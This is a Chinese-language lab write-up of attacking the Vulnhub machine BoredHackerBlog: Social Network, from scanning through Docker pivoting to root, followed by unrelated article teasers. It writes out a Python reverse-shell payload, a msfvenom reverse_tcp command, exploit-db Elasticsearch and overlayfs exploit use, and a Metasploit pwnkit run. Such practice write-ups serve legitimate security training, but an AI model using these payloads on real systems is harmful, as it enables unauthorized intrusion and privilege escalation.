1、BOREDHACKERBLOG:社交网络

靶机:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

参考:Vulnhub靶机:BOREDHACKERBLOG: SOCIAL NETWORK_boredhackerblog系列-CSDN博客

需要使用virtualbox。

先去官网下载了最新版的vietualbox,以及把这个镜像文件下载下来

然后管理-导入虚拟电脑,我这里直接修改了这个文件地址,将文件地址修改为自己设置的文件夹

加载好了就是这样的

网卡我这里选择的是无线WIFI的那个网卡

是没有密码的,这个时候环境就已经搭建起来了,可以进行渗透测试了

确保kali和靶机是一个网卡也就是在同一个网段

首先发现一下主机,使用netdiscover,有一说一这个命令我之前还没有使用过。 netdiscover 是一个网络工具,用于扫描本地网络以发现活跃的设备。它使用 ARP 协议(地址解析协议)来检测网络上的设备,可以显示每个设备的 MAC 地址和 IP 地址。 -i 指定网卡 -r指定ip段

sudo netdiscover -i eth0 -r 192.168.1.0/24

出现这个PCS Systemtechnik GmbH就是靶机的特征

所以靶机ip 192.168.1.179 kal:192.168.1.122

然后使用nmap做一波信息收集,也可以使用rustscan进行,我看推荐和这个工具对于扫描端口比nmap快很多而且也可以联动nmap。工具当然要与时俱进

nmap -p- 192.168.1.179 //扫描开放的端口

rustscan -g -a 192.168.1.179

nmap -p22,5000 -A 192.168.1.179 //查看主机和端口的一些信息

rustscan -a 192.168.1.179 -p 22,5000 -- -A

可以看到开放了ssh和5000,是个python的web服务,并且主机是Ubuntu系统的

思考一下思路,ssh爆破或者是web上面找漏洞,估计是web上面找漏洞打

访问网站是一个匿名留言

随意输入一点内容发现他会将内容展示到页面上面

思考考点,有输入框,可能存在xss,SQL注入,python的话还很有可能存在SSTI,同时做一下目录扫描,信息收集要做全。一般我使用dirsearch扫描目录

kali这上面的火狐好像没有安装什么插件,看着挺难受的,用我自己的谷歌探测到flash框架

使用dirsearch发现存在admin目录

页面简单测试了一下好像没有明显的问题,看看admin,存在一个测试代码的地方

用来测试python的代码还是用来执行命令的?说是使用exec()去执行,你别说我还不怎么了解exec()。。。去看一下资料,exec是代码执行

简单的输入print 'Hello, World!' 好像也没有将代码执行的结果返回

应该是无回显的执行行为,但这里很清楚的写了是exec的执行所以尝试新的反弹shell,当然一般来说可以先ping一个dnslog看是否执行了命令

反弹shell生成器

[~]#棱角 ::Edge.Forum*

好像这几个payload有些用的会出问题

payload:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.122",4455));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

有时间可以换为/bin/bash 因为有些环境的这个shell可能没有

权限是root?这么高?

不对,查看当前目录发现有个dockerfile文件?很有可能此时在docker容器里面

怎么判断是否在docker里面呢

ls -al / 有这个东西绝对是在docker环境中了

或者其他方法

cat /proc/1/cgroup 全是docker的进程

那么接下来该怎么办?docker逃逸?

先信息收集一下吧

看看docker的ip地址

ip 172.17.0.3

思考:此时要么想办法逃逸docker 要么通过此docker容器做一个跳板机看看这个内部还有什么东西的存在,说不定有些只有本地才可以访问的服务开启了。

探测存活ip 172.17.0.3/16

很明显docker里面没有nmap,最好的手段的是ping探测但是一个一个去ping这个网段明显不显示,这时候需要手动写一个简单的shell脚本来帮助检测

for i in $(seq 1 20); do ping -c 1 -W 1 172.17.0.$i; done

完整:

for net in {0..255}; do for host in {0..255}; do ip="172.16.$net.$host"; ping -c 1 -W 1 "$ip" &>> ~/ping_results.txt;done; done

如果是单独的24网段就会快很多这里是16网段用ping实在是太慢了,这里看网上的wp值探测20个就可以。

for i in {1..254};do ping -c 1 -W 1 192.168.1.$i ;done

探测了一波1、2、3存活,其他都是loss

不对,有问题,后面这里要做代理转发,为什么不提前直接做代理转发,那么不直接可以使用kali的nmap对内网进行扫描了吗。。。不过也确实有意思,虚拟机中的虚拟机形成的内网环境

工具venom:

这个工具我没有用过,平时做的代理都是cs木马自带的转发或者用的frp或者nps

GitHub - Dliv3/Venom: Venom - A Multi-hop Proxy for Penetration Testers

help # 打印使用帮助

exit # 退出

show # 显示网络拓扑

getdes # 显示

target结点的描述

setdes [info] # 添加对

target结点的描述

goto [id] # 选取一个要操作的 target结点.

listen [lport] # 在 target结点上监听一个端口

connect [rhost] [rport] # 通过 target结点连接一个新节点

sshconnect [user@ip:port] [dport] # 通过ssh隧道连接一个新节点

shell # 获取target节点的交互式

shell upload [local_file] [remote_file] # 上传文件到 target结点

download [remote_file] [local_file] # 从target结点下载文件

socks [lport] # 从target节点的lport端口建立一个socks5代理

lforward [lhost] [sport] [dport] # 将本地端口转发到远程

rforward [rhost] [sport] [dport] # 将远程端口转发到本地

还区分32位和64位的使用,先去容器上面看一下是几位的

uname -a 这里是64位的

开启kali上面的http服务将agent_linux_64位传过去,我这里直接是用的apache服务,并将文件重命名为agent

看手册说agent还可以端口复用666啊。

kali开启服务端监听9999端口等待容器的连接

agent主动连接kali服务端

这个奇怪的图案是他的网络连接图

show命令显示网络拓扑

A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点

goto 进入某个节点操作

socks 建立到某节点的socks5代理

配置socks代理转发,这个是默认的sock5代理

然后使用代理proxychains4 先修改一下配置文件

vim /etc/proxychains4.conf

很奇怪,挂了代理并没有连接上去?不知道是为什么。看了一下对外连接的端口情况好像9999端口并没有和192.168.1.179建立连接???

然后直接把shell搞掉了。。。而且不知道为什么反弹不上来了。。。奇奇怪怪反弹上来但是没有那个shell的界面

重启靶机,顺便在kali上面测试了一下是不是venom在复制的时候出问题了,ok测试完没有问题。。。

果然是的。。。重启一下靶机就可以了,如果是真实环境不是寄了。。。

果然有问题,也不知道是哪里出了问题,重来一遍又好了 ,我这里重新编辑了一下代理的端口为1080,能ping通docker的内网的内部地址就没有没有问题了。

继续收集172.17.0.1和0.2上面的信息

proxychains4 rustscan -g -a 172.17.0.1

用了这个代理会把连接信息也打印到屏幕上面看的我眼睛要瞎了,因为会打印导致执行命令的速度也变慢了

奇怪可能是太快的导致使用rustscan值扫描出了22端口。。。

还是用nmap -Pn -sT 172.17.0.1 Pn表示跳过主机发现,sT表示使用tcp的方式探测,但是这个方式只会扫描部分端口,实际的情况我认为还是得扫描全部端口,当然全部端口的扫动静会很大。

可以看到开放了22端口和500端口

这个时候挂代理去访问这个5000端口看看是什么

可以通过proxychains4启动火狐,也可以去修改代理选择这个对应的转发的端口。

启动得是普通用户才可以启动

对了这我又启动的,先访问原来192.168.1.179上面去输入点数据

可以看到同步刷新了

这说明这个172.17.0.1就是这个宿主机在这个网段的ip地址。一般情况下也是会这样的,自己用vm的时候自己的宿主机都是.1的IP地址

继续扫描一下0.2看看有什么

9200,不太熟悉,继续看看细节

nmap -Pn -sT -p9200 -sV 172.17.0.2 -sV显示详细信息

原来是elasticsearch,可以在网上查看一下有什么历史漏洞

有比较多的漏洞,使用searchsploit 去寻找看是否有对应的漏洞

将漏洞利用脚本cp过来

cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./36337.py

看一下源码分析是怎么利用的,看到提示是使用Python2那就运行一下

提示直接输入目标,这里不需要加端口刚才看源码的时候看到他自动添加了9200端口进去

可以看到直接就可以执行命令了,而是root权限

查看根目录的时候发现一个可疑的文件

发现存储着账号和密码的hash值

直接寻找在线的MD5解密网站

john:1337hack

test:1234test

admin:1111pass

root:1234pass

jane:1234jane

到了这一步web方面的渗透就结束了,这些账号密码可以拿着去登录ssh

全部账号测试了一遍只有john:1337hack 可以正常登录,而且是一个普通的权限,这个时候就需要思考提权了。

Linux的提权方式挺多的,一般来说显示通过提权脚本来帮助判断存在哪些提权漏洞,而且这个系统有点落后了Ubuntu14的版本

回顾一下提权的手法总结:Linux 提权总结

1、内核溢出漏洞

2、suid

3、计划任务启动项

这几个比较常见,平时都是纸上谈兵实际都没有什么地方使用过提权的一些操作

内核版本3.13.0-24-generic 相当古老了

这里我使用的linux-exploit-suggester去再靶机上面查询存在哪些可以利用的漏洞

除了这个linux-exploit-suggester还有其他的一些脚本也可以使用。开启一个http服务将这个脚本下载过去,并且移动都tmp目录下,为什么要移动到tmp目录下因为这个目录一般开放权限。有些目录普通用户是没有操作权限的。

Highly probable:评估的内核很可能受到影响,并且 PoC 漏洞利用很有可能不用在任何重大修改的情况下开箱即用

Probable:漏洞利用可能会起作用,但很可能需要定制 PoC 漏洞利用以适合目标使用

Less probable:需要额外的手动分析来验证内核是否受到影响

Unprobable:内核极不可能受到影响(漏洞利用不会显示在工具的输出中)

前面几个都是高可能性,wp里面是使用的这个overlayfs

使用的searchsploit查询是否存在这个内核版本的漏洞

searchsploit linux 3.13

既然如此那么也先使用这个exp

cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

看一下exp的内容

有食用指南,是.c文件需要使用gcc编译

靶机上面没有gcc环境,而且像这种命令下载一般都是root权限才可以下载。所以只能先在kali上面编译好后然后丢到靶机上面去执行

这里我直接把这个坑提前说了,就是这个编译后的文件运行的时候任然会调用gcc命令,

fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}

这一段去执行一段gcc编译的行为,最后实际write(fd,"/tmp/ofs-lib.so\n",16); 也就是说我们手动创建一个这个.so文件放到这个目录下面也可以,这里可以直接在kali里面找到这个文件,这是msf中已经有的

删完就这样

然后编译一手

gcc -o exp 37292.c

将两个文件下载下来并且赋予执行权限

糟糕执行失败。生成的exp有问题

生成出来的文件大小和wp中的不太一致,我怀疑是因为我这是最新版的kali里面的gcc版本可能比较高之类的影响的。。

那就换其他的打使用脏牛的40839.c OK也有问题,版本不行

去网上找相关的资料,吊毛学校不知道搞什么飞机网又断了

kali 192.168.30.58 靶机 192.168.30.127

在网上看到了其他的一些文章

Vulnhub | Social Network 渗透靶机-安全客 - 安全资讯平台

我也去pull了一个Ubuntu的镜像去编译,按照他的步骤第一步的so文件都没有产生出来,他的意思就是先用这个.c文件单独将这个so文件生成出来,然后和前面的思路一样再编译一个c文件然后一起上传到靶机上面。

又看了一下其他的文章有直接使用msf那就开搞

首先先上线msf

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.30.58 lport=5555 -f elf -o ey.elf

将其放到靶机上

msf启动

显示出几个选第二个打

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options 

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.30.58    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.30.58:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.azuwraeemxzx
[+] The target is vulnerable.
[*] Writing '/tmp/.xyvposa/tefwcmoedc/tefwcmoedc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.xyvposa
[*] Sending stage (3045380 bytes) to 192.168.30.127
[+] Deleted /tmp/.xyvposa/tefwcmoedc/tefwcmoedc.so
[+] Deleted /tmp/.xyvposa/.xcaggggyeh
[+] Deleted /tmp/.xyvposa
[*] Meterpreter session 2 opened (192.168.30.58:4444 -> 192.168.30.127:57224) at 2024-05-12 06:05:01 -0400

meterpreter > getuid
Server username: root
成功提权到root权限

kali的网络突然掉了不知道怎么回事。。。重新连接一下,学校的网好了,换回原来的ip地址。。。

靶机ip 192.168.1.179 kal:192.168.1.122

没有问题成功拿下靶机

后:

本次是我的第一次打这种完整的靶机,周末两天除了上课就是在打靶。之前的打靶其实都是针对某一个漏洞进行复现,并没有形成一个完整的渗透的思路,希望通过大量的靶机训练可以形成渗透的思维。对于此次的靶机算是照着人家的wp进行了一遍复现,其中很多地方也学习到了很多知识点,列如本次的网络的整体情况,尤其是通过docker之间的跳板去打其他的docker。正好最近拿下了一台docker可以试试这种思路👍。可惜最后没有使用这个脏牛和overlayfs的漏洞实现提权。而是用的其他的方式,我看网上的说法都是Linux一般提权都是使用的脚本而不是msf这种平台自带的。msf这种平台还是多用于对Windows做渗透。

vulnhub的靶机我会保持每周至少一个的训练,wp会持续更新

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/798223.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用 Unstructured.io 和 Elasticsearch 向量数据库搜索复杂文档

作者:来自 Elastic Amy Ghate, Rishikesh Radhakrishnan, Hemant Malik 使用非结构化和 Elasticsearch 向量数据库为 RAG 应用程序提取和搜索复杂的专有文档 在使信息可搜索之前解析文档是构建实际 RAG 应用程序的重要步骤。Unstructured.io 和 Elasticsearch 在此…

Admin.NET源码学习(2:安装并运行前端)

根据Admin.NET的GitHub主页介绍,前端运行步骤需要运行pnpm命令。百度pnpm的话,需要支持npm相关的命令支持。   根据参考文献4,安装Node.js后会提供npm命令支持(npm是Node.js的软件包管理器,用于安装、发布和共享Jav…

FreeRTOS 入门 知识

什么是FreeRTOS FreeRTOS 是一个轻量级的实时操作系统(RTOS),由 Richard Barry 在 2003 年开发,并且由亚马逊的 FreeRTOS 项目(一个由 Amazon Web Services (AWS) 支持的开源项目)进一步推动和发展。FreeR…

顺序表算法 - 合并两个有序数组

88. 合并两个有序数组 - 力扣(LeetCode)https://leetcode.cn/problems/merge-sorted-array/description/思路: void merge(int* nums1, int nums1Size, int m, int* nums2, int nums2Size, int n) {int l1,l2,l3;l1 m-1;l2 n-1;l3 mn-1;//l1和l2大于…

DispatcherServlet懒加载带来的问题和思考

问题 DispatcherServlet的懒加载会导致在用户在进行第一次请求的时候会比正常慢很多,如果这个时候大量请求同时过来,那么阻塞和cpu的暴增就会显而易见。 背景 在回顾SpringMvc对servlet的增强的过程中,突然发现DispatcherServlet是懒加载的…

7.2 AQS原理

AQS 原理 概述 全称是 AbstractQueuedSynchronizer,是阻塞式锁和相关的同步器工具的框架。 特点: 用 state 属性来表示资源的状态(分独占模式和共享模式),子类需要定义如何维护这个状态,控制如何获取锁和…

JAVA自定义注释

interface 声明 package test; public interface InProgress { } InProgress public void calculateInterest(float amount, float rate) { } 带成员 public interface TODO {String value(); } InProgress //只有成员变量名有value时,值有给value赋值时可以这…

redis源码分析之底层数据结构(一)-动态字符串sds

1.绪论 我们知道redis是由c语言实现的,c语言中是自带字符串的,但是为什么redis还要再实现自己的动态字符串呢,这种动态字符串的底层数据结构是怎样的呢?接下来我们带着这些问题来看一看redis中的动态字符串sds。 2.sds的组成 struct __at…

MySQL覆盖索引和索引跳跃扫描

最近在深入学习MySQL,在学习最左匹配原则的时候,遇到了一个有意思的事情。请听我细细道来。 我的MySQL版本为8.0.32 可以通过 show variables like version; 查看使用的版本。 准备工作: 先建表,SQL语句如下: c…

ARM学习(29)NXP 双coreMCU IMX1160学习----NorFlash 启动引脚选择

ARM学习(28)NXP 双coreMCU IMX1160学习----NorFlash 启动引脚选择 1、多种启动方式介绍 IMX1166 支持多组flexSPI 引脚启动,FlexSPI1以及FlexSPI2,通过boot cfg可以切换FlexSPI得实例。 每个实例又支持多组引脚,总共…

Linux系统的用户组管理和权限以及创建用户

1.Linux是多用户的操作系统,正如在Windows系统中可以进行用户账号的切换,Linux同样允许多用户操作。在Linux服务器环境中,通常由多名运维人员共同管理,而这些运维人员各自拥有不同的权限和级别。因此,我们可以根据每个…

LeetCode 3011.判断一个数组是否可以变为有序

注:这个题目有序的意思是“升序” 解法一:bubblesort O(nlogn) 核心思想:冒泡每次会将一个数归位到最后的位置上,所以我们如果碰到无法向右交换的数字,即可return false class Solution { public:// 返回一个十进制…

《昇思25天学习打卡营第2天|02快速入门》

课程目标 这节课准备再学习下训练模型的基本流程,因此还是选择快速入门课程。 整体流程 整体介绍下流程: 数据处理构建网络模型训练模型保存模型加载模型 思路是比较清晰的,看来文档写的是比较连贯合理的。 数据处理 看数据也是手写体数…

提高项目透明度:有效的跟踪软件

国内外主流的10款项目进度跟踪软件对比:PingCode、Worktile、Teambition、Tower、Asana、Trello、Jira、ClickUp、Notion、Liquid Planner。 在项目管理中,确保进度跟踪的准确性与效率是每位项目经理面临的主要挑战之一。选用合适的项目进度跟踪软件不仅…

800 元打造家庭版 SOC 安全运营中心

今天,我们开始一系列新的文章,将从独特而全面的角度探索网络安全世界,结合安全双方:红队和蓝队。 这种方法通常称为“紫队”,集成了进攻和防御技术,以提供对威胁和安全解决方案的全面了解。 在本系列的第一篇文章中,我们将指导您完成以 100 欧元约800元左右的预算创建…

Sentinel-1 Level 1数据处理的详细算法定义(三)

《Sentinel-1 Level 1数据处理的详细算法定义》文档定义和描述了Sentinel-1实现的Level 1处理算法和方程,以便生成Level 1产品。这些算法适用于Sentinel-1的Stripmap、Interferometric Wide-swath (IW)、Extra-wide-swath (EW)和Wave模式。 今天介绍的内容如下: Sentinel-1 L…

zookeeper的shell操作

一:启动拽库的shell命令行 zkCli.sh -server localhost:2181 退出:quit 二:查询所有的命令 help 三:查询对应的节点 --查询zk上的根节点 ls / ls /zookeeper 四:查询对应节点的节点信息(节点的元数据&a…

idea启动ssm项目详细教程

前言 今天碰到一个ssm的上古项目,项目没有使用内置的tomcat作为服务器容器,这个时候就需要自己单独设置tomcat容器。这让我想起了我刚入行时被外置tomcat配置支配的恐惧。现在我打算记录一下配置的过程,希望对后面的小伙伴有所帮助吧。 要求…

React学习笔记02-----

一、React简介 想实现页面的局部刷新,而不是整个网页的刷新。AJAXDOM可以实现局部刷新 1.特点 (1)虚拟DOM 开发者通过React来操作原生DOM,从而构建页面。 React通过虚拟DOM来实现,可以解决DOM的兼容性问题&#x…